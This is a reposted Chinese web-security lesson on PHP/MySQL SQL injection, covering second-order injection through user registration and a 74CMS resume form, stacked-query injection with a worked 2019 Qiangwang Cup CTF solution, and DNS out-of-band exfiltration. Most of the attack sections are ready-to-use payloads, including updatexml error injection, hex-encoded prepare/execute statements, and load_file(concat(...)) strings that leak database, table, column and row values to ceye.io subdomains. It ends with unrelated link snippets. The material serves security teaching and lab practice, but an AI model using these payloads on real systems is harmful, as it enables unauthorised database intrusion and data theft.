045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件-cnblog

news/2025/9/19 18:10:50/文章来源:https://www.cnblogs.com/HalfwayMousie/p/19101441

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件-cnblog

PHP-MYSQL-二次注入-DEMO&74CMS

Untitled

1、DEMO-用户注册登录修改密码

Untitled

Untitled

1.注册新用户时,将注入的内容包含在注册的用户名后:admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#

image-20250422120952348

2.成功注入,并查看数据库,数据库中也存放了响应的注入语句

image-20250422121231667

3.正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号

image-20250422121359117

黑盒思路:分析功能有添加后对数据操作的地方(功能点)(很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))

白盒思路:insert 后进入 select 或 update 的功能的代码块(源代码去审

注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用

需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes)对方的代码有转义或者开启了魔术引号开关

Untitled

Untitled

1.在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,

2.在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES ('admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456') 给username中的单引号添加转义字符\

3.在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入

4.如果不使用,转义函数,则会出现报错

举个现实例子 🌰

想象你正在往一个箱子里存纸条(数据库存数据),但箱子的管理员(PHP的addslashes()函数)有个规矩:如果纸条上有引号('"),必须用胶带(反斜杠\)贴住,否则管理员会拒收。

比如你写了一张纸条:
小明说:"今天天气真好!"
管理员会改成:
小明说:\"今天天气真好!\"(贴住双引号)


你的攻击场景 🎯

现在你想搞事情,往箱子里存一张纸条:
admin' and 攻击代码 #
但管理员发现单引号('),会直接贴胶带转义成:
admin\' and 攻击代码 #
这样存入箱子后,攻击代码就被胶带封印了,无法触发。


你的破解方法 💡

于是你想了个办法: 在单引号前再加一个胶带(反斜杠) ,假装这是“合法胶带”。
输入:
admin\' and 攻击代码 #
管理员看到单引号前已经有胶带(\),就不再贴新胶带,最终存入箱子的数据是:
admin\' and 攻击代码 #

但关键来了!
箱子(数据库)有个漏洞:它会把胶带(\)吃掉!
所以实际存进去的纸条是:
admin' and 攻击代码 #(单引号没被转义!)


触发攻击的时刻 💥

接下来,当有人从箱子里取出这条数据(比如用来做密码重置),直接拼接到新纸条(SQL语句)里:
UPDATE users SET password='新密码' WHERE username='admin' and 攻击代码 #'

这时,单引号('没有被胶带贴住,直接闭合了前面的username='admin',后面的攻击代码就被执行了!


为什么加反斜杠(\)?

  1. 目的:骗过管理员(addslashes()),让它觉得单引号已经被贴胶带了,不再处理。
  2. 结果:存入数据库后,胶带(\)被吃掉,单引号暴露出来。
  3. 触发时机:后续拼接SQL时,这个单引号直接闭合语句,执行攻击代码。

2、CMS-74CMS 个人中心简历功能

注册完填写教育经历这里的在学校名称和专业名称注入:aa','fullname'=user()#

专业名称这里有字符限制,选中打开检查修改maxlength="120”值

image-20250422172833914

image-20250422173025735

image-20250422175636677

PHP-MYSQL-堆叠注入-DEMO&CTF 强网

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等

1.首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句

image-20250422191616409 这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1

创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列

SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));

由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行

2.但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:[http://192.168.137.1:84/sqli/new.php?id=1;CREATE TABLE xxx(test VARCHAR(255)](http://192.168.137.1:84/sqli/new.php?id=1;CREATE TABLE xxx(test VARCHAR(255)));

image-20250422191906338

3.但是当php采用mysqli_multi_query函数接收并执行sql语句的时候

Untitled

Untitled

堆叠注入前提条件:

1、目标存在 sql 注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条 sql 语句

在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时

支持堆叠数据库:MYSQL MSSQL Postgresql 等

-2019 强网杯-随便注(CTF 题型)

';show databases;

';show tables;

';show columns from 1919810931114514;

';select flag from 1919810931114514;

';SeT

@a=0x73656c65637420666c61672066726f6d2060313931393831303933313131

3435313460;prepare execsql from @a;execute execsql;

1、目标存在 sql 注入漏洞

2、目标未对";"号进行过滤

3、目标中间层查询数据库信息时可同时执行多条 sql 语句

PHP-MYSQL-带外注入-DEMO&DNSLOG

产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据

0.注入条件

  • ROOT 高权限且支持 load_file()

  • secure-file-priv=设置→默认关闭,必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26my.ini

  • 有部分注入点是没有回显的,所有读取也是没回显的,采用带外

Untitled

  • secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
  • 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
  • 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE。
    例如,
  • 如果 secure_file_priv 被设置为 f:\,那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时,只允许读写位于 f:\ 目录下的文件。

http://demo01/sqli/new.php?id=1 union select 1,2,3,4,load_file('d:\1.txt'),6

image-20250422203155670

1.使用平台

http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可

http://www.dnslog.cn

image-20250422203721187

2.带外应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等

  • SQL注入

    select load_file(concat('\\',(select database()),'.wk0crf.ceye.io\aa'));
    and (select load_file(concat('//',(select database()),'.wk0crf.ceye.io/abc')))

  • 查询当前数据库

image-20250422205337273

  • 查询其他数据库

    id=1 and load_file(concat("\\",(select schema_name from information_schema.schemata limit 0,1),".wk0crf.ceye.io\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    limit 0,1 查询第一个数据库名
    limit 1,1 查询第二个数据库名

    limit 2,1 查询第三个数据库名
    """

    image-20250422205757688

  • 查询当前数据库dome01中第一个表名

    id=1 and load_file(concat("\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".wk0crf.ceye.io/abc"))
    """

    3ef59c96b807f77b95e8f721aa76621a于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    limit 0,1 查询第一个表名
    limit 1,1 查询第二个表名

    limit 2,1 查询第三个表名

    """

  • 查询security数据库emails表下第一个列名

id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
  • 查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/907988.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux 命令语句

rt 快csp初赛了,发现s组第一题一般是linux 命令语句,碎屑。 c cat:连接和显示文件内容 cd:切换工作目录 chmod:修改文件或目录的权限 chown:修改文件或目录的所有者 cp:复制文件或目录 d df/du:显示磁盘使用情…

用 Kotlin 实现英文数字验证码识别

在本教程中,我们将使用 Kotlin 和 Tesseract OCR 库实现对英文数字验证码的识别。Tesseract 是一个开源的 OCR 引擎,能够从图像中提取文本内容。结合 Kotlin 的简洁语法,我们可以高效地完成这个任务。环境准备 (1)…

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射Si24R03 是一款高度集成的低功耗 SOC 芯片,其集成了基于 RISC-V 核的低功耗 MCU 和工作在 2.4GHz ISM 频段的无线收发器模块。 MCU 模块具有低功耗、L…

达芬奇(DaVinci Reslove)字体文件 bugb标签

今天有小伙伴 突然 反馈 字幕轨导 execl的插件 字幕没有导出来。我拿到 srt文件是 文件1这样格式,我导入字幕轨后 ,再导出来 格式变了 多了 一个 <…

语音芯片怎样挑选?语音芯片关键选型要点?

语音芯片怎样挑选?语音芯片关键选型要点? 选择语音芯片需根据具体应用场景和性能需求进行综合评估,以下是关键选型要点: 一、核心性能参数 1、采样率与信噪比 高采样率(如16位ADC)可减少声音失真,信噪比≥75dB能…

KingbaseES Schema权限及空间限额

一、权限授予操作 1. 基础权限赋予 1.1 创建测试环境-- 1.创建测试用户 test=# CREATE USER schema_user WITH PASSWORD Schema@123; CREATE ROLE-- 2.创建测试Schema test=# CREATE SCHEMA test_schema AUTHORIZATION…

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射芯片

UM2003A 一款 200 ~ 960MHz ASK/OOK +18dBm 发射功率的单发射芯片UM2003A 是一款工作于 200 ~ 960MHz 频段的单片集成、高性能、可独立运行的 OOK 发射器。内部集成的 OTP 方便用户对各种射频参数以及特色功能进行编程…

HTTP库开发实战:核心库与httpplus扩展库示例解析

实战导向的HTTP库开发教程!本文以核心库基础功能为起点,结合httpplus扩展库示例,演示如何高效实现HTTP协议相关功能。 一、两个库有何不同? 首先需要了解,LuatOS采用核心库和扩展库的模块化设计,核心库负责底层与…

QMT交易系统向服务器同步订单丢失问题排查

QMT交易系统向服务器同步订单丢失问题排查1.挂单系统报错,异步挂单后订单挂单回调更新OrderID报错:查找对象为空,起初以为是多线程共享对象属性同步不及时造成的,后来发现在异步挂单执行完毕才对RequestOrderStock…

笔记1

1、bug包含哪些内容 ? 所属产品、所属模块、所属项目、当前指派、bug类型、操作系统、浏览器、bug标题、严重程度、优先级、重新步骤、相关需求2、bug的等级? 1级bug (致命bug) 2级bug (严重bug) 3级bug (一…

用 Python 和 Tesseract 实现英文数字验证码识别

本教程将教您如何使用 Python 和 Tesseract OCR 引擎来识别英文数字验证码。Tesseract 是一个非常强大的 OCR 引擎,支持多种语言的字符识别。结合 Python 的易用性,我们可以很容易地完成验证码识别。环境准备 (1)安…

深入解析:上门按摩平台 “0 抽成 + 无底薪” 双模式拆解:如何让技师主动创收?

深入解析:上门按摩平台 “0 抽成 + 无底薪” 双模式拆解:如何让技师主动创收?2025-09-19 17:51 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overfl…

实用指南:OSPF特殊区域、路由汇总及其他特性

实用指南:OSPF特殊区域、路由汇总及其他特性pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &qu…

禅道以及bug

禅道 一、禅道的介绍 1、禅道是一个项目管理工具、bug管理工具、用例管理工具; 2、作用:为了解决企业中的管理中混乱、无序的现象 3、来源:易软天创公司 4、架构:bs 架构 5、项目管理工具: 禅道、tapd(腾讯)、j…

SUB-1G 无线收发芯片 DP10RF001 低功耗 (G) FSK/OOK 智能门锁,资产追踪、无线监控

SUB-1G 无线收发芯片 DP10RF001 低功耗 (G) FSK/OOK 智能门锁,资产追踪、无线监控产品概述. DP10RF001 是一款工作于 200MHz~960MHz 范围内的低功耗、高性能、单片集成的 (G) FSK/OOK 无线收发机芯片。内部集成完整的…

中电金信 :MCP在智能体应用中的挑战与对策

导语:随着AI技术的飞速发展,智能体正在走进并重构着我们的工作与生活。 MCP通过标准化、安全且灵活的方式,实现大语言模型与外部工具、API及数据源的高效交互,让不同智能体、工具、服务器之间能基于统一规则传递指…

工业交换机调试的实用技巧与注意事项:提升网络稳定性与性能 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

第一次参与开源的时序数据库 IoTDB Committer:这份成就感是无可替代的

坚信 IoTDB 的未来前景无比广阔,开放包容的社区氛围让我们走到了今天。从开源小白到深度参与者 2025 年 4 月 22 日、7 月 6 日,经 Apache IoTDB 社区投票,陈哲涵、彭俊植成为时序数据库 Apache IoTDB Committer。他…

实用指南:Ubuntu22.04安装配置typora

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

python 读取大文档优化示例

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …